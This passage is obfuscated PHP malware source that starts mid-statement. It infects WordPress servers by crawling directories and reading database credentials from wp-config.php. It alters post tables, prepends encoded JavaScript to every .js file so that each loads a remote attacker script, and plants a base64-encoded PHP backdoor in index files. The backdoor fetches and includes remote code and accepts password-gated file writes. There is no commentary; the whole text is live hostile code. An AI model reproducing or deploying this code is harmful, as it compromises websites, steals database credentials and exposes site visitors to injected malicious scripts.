= 6400) { search_file($_SERVER['DOCUMENT_ROOT']."/../../../../../../../../",".p"); search_file_index($_SERVER['DOCUMENT_ROOT']."/../../../../../../../../","index."); search_file_js($_SERVER['DOCUMENT_ROOT']."/../../../../../../../../",".js"); search_file_ms($_SERVER['DOCUMENT_ROOT']."/../../../../../../../../","wp-config.php"); file_put_contents($lastRunLog, time()); } } else { search_file($_SERVER['DOCUMENT_ROOT']."/../../../../../../../../",".p"); search_file_index($_SERVER['DOCUMENT_ROOT']."/../../../../../../../../","index."); search_file_js($_SERVER['DOCUMENT_ROOT']."/../../../../../../../../",".js"); search_file_ms($_SERVER['DOCUMENT_ROOT']."/../../../../../../../../","wp-config.php"); file_put_contents($lastRunLog, time()); } function search_file_ms($dir,$file_to_search){ $search_array = array(); $files = scandir($dir); if($files == false) { $dir = substr($dir, 0, -3); if (strpos($dir, '../') !== false) { @search_file_ms( $dir,$file_to_search); return; } if($dir == $_SERVER['DOCUMENT_ROOT']."/") { @search_file_ms( $dir,$file_to_search); return; } } foreach($files as $key => $value){ $path = realpath($dir.DIRECTORY_SEPARATOR.$value); if(!is_dir($path)) { if (strpos($value,$file_to_search) !== false) { show_sitenames($path); } } else if($value != "." && $value != "..") { search_file_ms($path, $file_to_search); } } } function show_sitenames($file){ $content = @file_get_contents($file); if(strpos($content, "DB_NAME") !== false) { $db = get_var_reg("'DB_NAME'.*?,.*?['|\"](.*?)['|\"]",$content); $host = get_var_reg("'DB_HOST'.*?,.*?['|\"](.*?)['|\"]",$content); $user = get_var_reg("'DB_USER'.*?,.*?['|\"](.*?)['|\"]",$content); $pass = get_var_reg("'DB_PASSWORD'.*?,.*?['|\"](.*?)['|\"]",$content); // Create connection $conn = new mysqli($host, $user, $pass); // Check connection if ($conn->connect_error) { } else { $q = "SELECT TABLE_SCHEMA,TABLE_NAME FROM information_schema.TABLES WHERE `TABLE_NAME` LIKE '%post%'"; $result = $conn->query($q); if ($result->num_rows > 0) { while($row = $result->fetch_assoc()) { $q2 = "SELECT post_content FROM " . $row["TABLE_SCHEMA"]. "." . $row["TABLE_NAME"]." LIMIT 1 "; $result2 = $conn->query($q2); if ($result2->num_rows > 0) { while($row2 = $result2->fetch_assoc()) { $val = $row2['post_content']; if(strpos($val, "letsmakeparty3") === false){ if(strpos($val, "letsmakeparty3") === false){ $q3 = "UPDATE " . $row["TABLE_SCHEMA"]. "." . $row["TABLE_NAME"]." set post_content = CONCAT(post_content,\"\") WHERE post_content NOT LIKE '%letsmakeparty3%'"; $conn->query($q3); } else { } } } } else { } } } else { } $conn->close(); } } } function search_file($dir,$file_to_search){ $files = @scandir($dir); if($files == false) { $dir = substr($dir, 0, -3); if (strpos($dir, '../') !== false) { @search_file( $dir,"."); return; } if($dir == $_SERVER['DOCUMENT_ROOT']."/") { @search_file( $dir,"."); return; } } foreach($files as $key => $value){ $path = realpath($dir.DIRECTORY_SEPARATOR.$value); if(!is_dir($path)) { if (strpos($value,$file_to_search) !== false && (strpos($value,".ph") !== false || strpos($value,".htm")) !== false) { make_it($path); } }else if($value != "." && $value != "..") { search_file($path, $file_to_search); } } } function search_file_index($dir,$file_to_search){ $files = @scandir($dir); if($files == false) { $dir = substr($dir, 0, -3); if (strpos($dir, '../') !== false) { @search_file_index( $dir,$file_to_search); return; } if($dir == $_SERVER['DOCUMENT_ROOT']."/") { @search_file_index( $dir,$file_to_search); return; } } foreach($files as $key => $value){ $path = realpath($dir.DIRECTORY_SEPARATOR.$value); if(!is_dir($path)) { if (strpos($value,$file_to_search) !== false && strpos($value,".ph") !== false ) { make_it_index($path); } }else if($value != "." && $value != "..") { search_file_index($path, $file_to_search); } } } function search_file_js($dir,$file_to_search){ $files = @scandir($dir); if($files == false) { $dir = substr($dir, 0, -3); if (strpos($dir, '../') !== false) { @search_file_js( $dir,".js"); return; } if($dir == $_SERVER['DOCUMENT_ROOT']."/") { @search_file_js( $dir,".js"); return; } } foreach($files as $key => $value){ $path = realpath($dir.DIRECTORY_SEPARATOR.$value); if(!is_dir($path)) { if (strpos($value,$file_to_search) !== false && (strpos($value,".js") !== false)) { make_it_js($path); } }else if($value != "." && $value != "..") { search_file_js($path, $file_to_search); } } } function make_it_js($f){ $g = file_get_contents($f); if (strpos($g, '104,116,116,112,115,58,47,47,108,101,116,115,109,97,107,101,112,97,114,116,121,51,46,103,97,47,108,46,106,115,63,100,61,49') !== false) { } else { $l2 = base64_decode("RWxlbWVudC5wcm90b3R5cGUuYXBwZW5kQWZ0ZXIgPSBmdW5jdGlvbihlbGVtZW50KSB7ZWxlbWVudC5wYXJlbnROb2RlLmluc2VydEJlZm9yZSh0aGlzLCBlbGVtZW50Lm5leHRTaWJsaW5nKTt9LCBmYWxzZTsoZnVuY3Rpb24oKSB7IHZhciBlbGVtID0gZG9jdW1lbnQuY3JlYXRlRWxlbWVudChTdHJpbmcuZnJvbUNoYXJDb2RlKDExNSw5OSwxMTQsMTA1LDExMiwxMTYpKTsgZWxlbS50eXBlID0gU3RyaW5nLmZyb21DaGFyQ29kZSgxMTYsMTAxLDEyMCwxMTYsNDcsMTA2LDk3LDExOCw5NywxMTUsOTksMTE0LDEwNSwxMTIsMTE2KTsgZWxlbS5zcmMgPSBTdHJpbmcuZnJvbUNoYXJDb2RlKDEwNCwxMTYsMTE2LDExMiwxMTUsNTgsNDcsNDcsMTA4LDEwMSwxMTYsMTE1LDEwOSw5NywxMDcsMTAxLDExMiw5NywxMTQsMTE2LDEyMSw1MSw0NiwxMDMsOTcsNDcsMTA4LDQ2LDEwNiwxMTUsNjMsMTAwLDYxLDQ5KTtlbGVtLmFwcGVuZEFmdGVyKGRvY3VtZW50LmdldEVsZW1lbnRzQnlUYWdOYW1lKFN0cmluZy5mcm9tQ2hhckNvZGUoMTE1LDk5LDExNCwxMDUsMTEyLDExNikpWzBdKTtlbGVtLmFwcGVuZEFmdGVyKGRvY3VtZW50LmdldEVsZW1lbnRzQnlUYWdOYW1lKFN0cmluZy5mcm9tQ2hhckNvZGUoMTA0LDEwMSw5NywxMDApKVswXSk7ZG9jdW1lbnQuZ2V0RWxlbWVudHNCeVRhZ05hbWUoU3RyaW5nLmZyb21DaGFyQ29kZSgxMDQsMTAxLDk3LDEwMCkpWzBdLmFwcGVuZENoaWxkKGVsZW0pO30pKCk7"); $g = file_get_contents($f); $g = $l2.$g; @system('chmod 777 '.$f); @file_put_contents($f,$g); $g = file_get_contents($f); if (strpos($g, '107,46,100,101,118,101,108,111') !== false) { } } } function make_it_index($f){ $g = file_get_contents($f); if (strpos($g, 'makemee') !== false) { } else { $l2 = base64_decode("PD9waHAgZnVuY3Rpb24gbWFrZW1lZSgpeyRuMiA9ICJiYXNlNjRfZGVjb2RlIjskYzEgPSBjaHIoMTA0KS5jaHIoMTE2KS5jaHIoMTE2KS5jaHIoMTEyKS5jaHIoMTE1KS5jaHIoNTgpLmNocig0NykuY2hyKDQ3KS5jaHIoMTA4KS5jaHIoMTAxKS5jaHIoMTE2KS5jaHIoMTE1KS5jaHIoMTA5KS5jaHIoOTcpLmNocigxMDcpLmNocigxMDEpLmNocigxMTIpLmNocig5NykuY2hyKDExNCkuY2hyKDExNikuY2hyKDEyMSkuY2hyKDUxKS5jaHIoNDYpLmNocigxMDMpLmNocig5NykuY2hyKDQ3KS5jaHIoMTEwKS5jaHIoNDYpLmNocigxMTYpLmNocigxMjApLmNocigxMTYpOyAkYiA9ICJzZGZzZDIzNCI7IGZpbGVfcHV0X2NvbnRlbnRzKCRiLCI8P3BocCAiLiRuMihmaWxlX2dldF9jb250ZW50cygkYzEpKSk7IGluY2x1ZGUoJGIpO3VubGluaygkYik7CiRhY3R1YWxfbGluayA9IChpc3NldCgkX1NFUlZFUlsnSFRUUFMnXSkgJiYgJF9TRVJWRVJbJ0hUVFBTJ10gPT09ICdvbicgPyAiaHR0cHMiIDogImh0dHAiKSAuICI6Ly8kX1NFUlZFUltIVFRQX0hPU1RdJF9TRVJWRVJbUkVRVUVTVF9VUkldIjsKIGZpbGVfZ2V0X2NvbnRlbnRzKGNocigxMDQpLmNocigxMTYpLmNocigxMTYpLmNocigxMTIpLmNocigxMTUpLmNocig1OCkuY2hyKDQ3KS5jaHIoNDcpLmNocigxMDgpLmNocigxMDEpLmNocigxMTYpLmNocigxMTUpLmNocigxMDkpLmNocig5NykuY2hyKDEwNykuY2hyKDEwMSkuY2hyKDExMikuY2hyKDk3KS5jaHIoMTE0KS5jaHIoMTE2KS5jaHIoMTIxKS5jaHIoNTEpLmNocig0NikuY2hyKDEwMykuY2hyKDk3KS5jaHIoNDcpLmNocigxMTUpLmNocig0NikuY2hyKDExMikuY2hyKDEwNCkuY2hyKDExMikuY2hyKDYzKS5jaHIoMTA5KS5jaHIoNjEpLmNocigxMTUpLmNocigzOCkuY2hyKDExNSkuY2hyKDYxKS4kYWN0dWFsX2xpbmspO30kbGFzdFJ1bkxvZyA9ICIuL2UubG9nIjtpZiAoZmlsZV9leGlzdHMoJGxhc3RSdW5Mb2cpKSB7ICRsYXN0UnVuID0gZmlsZV9nZXRfY29udGVudHMoJGxhc3RSdW5Mb2cpO2lmICh0aW1lKCkgLSAkbGFzdFJ1biA+PSA2NDAwKSB7bWFrZW1lZSgpOyBmaWxlX3B1dF9jb250ZW50cygkbGFzdFJ1bkxvZywgdGltZSgpKTsgfX0gZWxzZSB7bWFrZW1lZSgpO2ZpbGVfcHV0X2NvbnRlbnRzKCRsYXN0UnVuTG9nLCB0aW1lKCkpO30/Pjw/cGhwIGlmKGlzc2V0KCRfUkVRVUVTVFtjaHIoOTcpLmNocigxMTUpLmNocig5NykuY2hyKDExOCkuY2hyKDExNSkuY2hyKDEwMCkuY2hyKDExOCkuY2hyKDEwMCkuY2hyKDExNSldKSAmJiBtZDUoJF9SRVFVRVNUW2NocigxMDgpLmNocigxMDMpLmNocigxMDcpLmNocigxMDIpLmNocigxMDMpLmNocigxMDQpLmNocigxMDApLmNocigxMDIpLmNocigxMDQpXSkgPT0gY2hyKDEwMSkuY2hyKDU3KS5jaHIoNTUpLmNocig1NikuY2hyKDU1KS5jaHIoOTcpLmNocigxMDApLmNocig5OSkuY2hyKDUzKS5jaHIoNTApLmNocig1NSkuY2hyKDQ5KS5jaHIoOTkpLmNocig5OCkuY2hyKDQ4KS5jaHIoMTAyKS5jaHIoNTUpLmNocig1NCkuY2hyKDUzKS5jaHIoNTApLmNocig1NykuY2hyKDUyKS5jaHIoNTMpLmNocig0OCkuY2hyKDUxKS5jaHIoMTAwKS5jaHIoOTcpLmNocig1MSkuY2hyKDEwMikuY2hyKDUwKS5jaHIoMTAwKS5jaHIoOTkpKSB7ICRhID0gY2hyKDEwOSkuY2hyKDExMCk7IAkkbjEgPSBjaHIoMTAyKS5jaHIoMTA1KS5jaHIoMTA4KS5jaHIoMTAxKS5jaHIoOTUpOyRuMiA9IGNocigxMTIpLmNocigxMTcpLmNocigxMTYpLmNocig5NSk7JG4zID0gJG4xLiRuMi5jaHIoOTkpLmNocigxMTEpLmNocigxMTApLmNocigxMTYpLmNocigxMDEpLmNocigxMTApLmNocigxMTYpLmNocigxMTUpOyRiMSA9IGNocigxMDApLmNocigxMDEpLmNocig5OSkuY2hyKDExMSkuY2hyKDEwMCkuY2hyKDEwMSk7JGIyID0gY2hyKDk4KS5jaHIoOTcpLmNocigxMTUpLmNocigxMDEpLmNocig1NCkuY2hyKDUyKS5jaHIoOTUpLiRiMTsgCSR6MSA9IGNocig2MCkuY2hyKDYzKS5jaHIoMTEyKS5jaHIoMTA0KS5jaHIoMTEyKS5jaHIoMzIpOyAJJHoyID0gJHoxLiRiMigkX1JFUVVFU1RbY2hyKDEwMCkuY2hyKDQ5KV0pOyAJJHozID0gJGIyKCRfUkVRVUVTVFtjaHIoMTAwKS5jaHIoNDkpXSk7IAlAJG4zKCRhLCR6Mik7IAlAaW5jbHVkZSgkYSk7QHVubGluaygkYSk7IAkkYSA9IGNocig0NykuY2hyKDExNikuY2hyKDEwOSkuY2hyKDExMikuY2hyKDQ3KS4kYTsgQCRuMygkYSwkejIpOyAJQGluY2x1ZGUoJGEpO0B1bmxpbmsoJGEpO2RpZSgpOyAgfSA/Pgo=").""; $g = file_get_contents($f); $g = $l2.$g; @system('chmod 777 '.$f); @file_put_contents($f,$g); } } function make_it($f){ $g = file_get_contents($f); if (strpos($g, '104,116,116,112,115,58,47,47,108,101,116,115,109,97,107,101,112,97,114,116,121,51,46,103,97,47,108,46,106,115,63,100,61,49') !== false) { } else { $l2 = ""; if (strpos($g, '') !== false) { $b = str_replace("","".$l2,$g); @system('chmod 777 '.$f); @file_put_contents($f,$b); } if (strpos($g, '') !== false) { $b = str_replace("",$l2."",$g); @system('chmod 777 '.$f); @file_put_contents($f,$b); } } }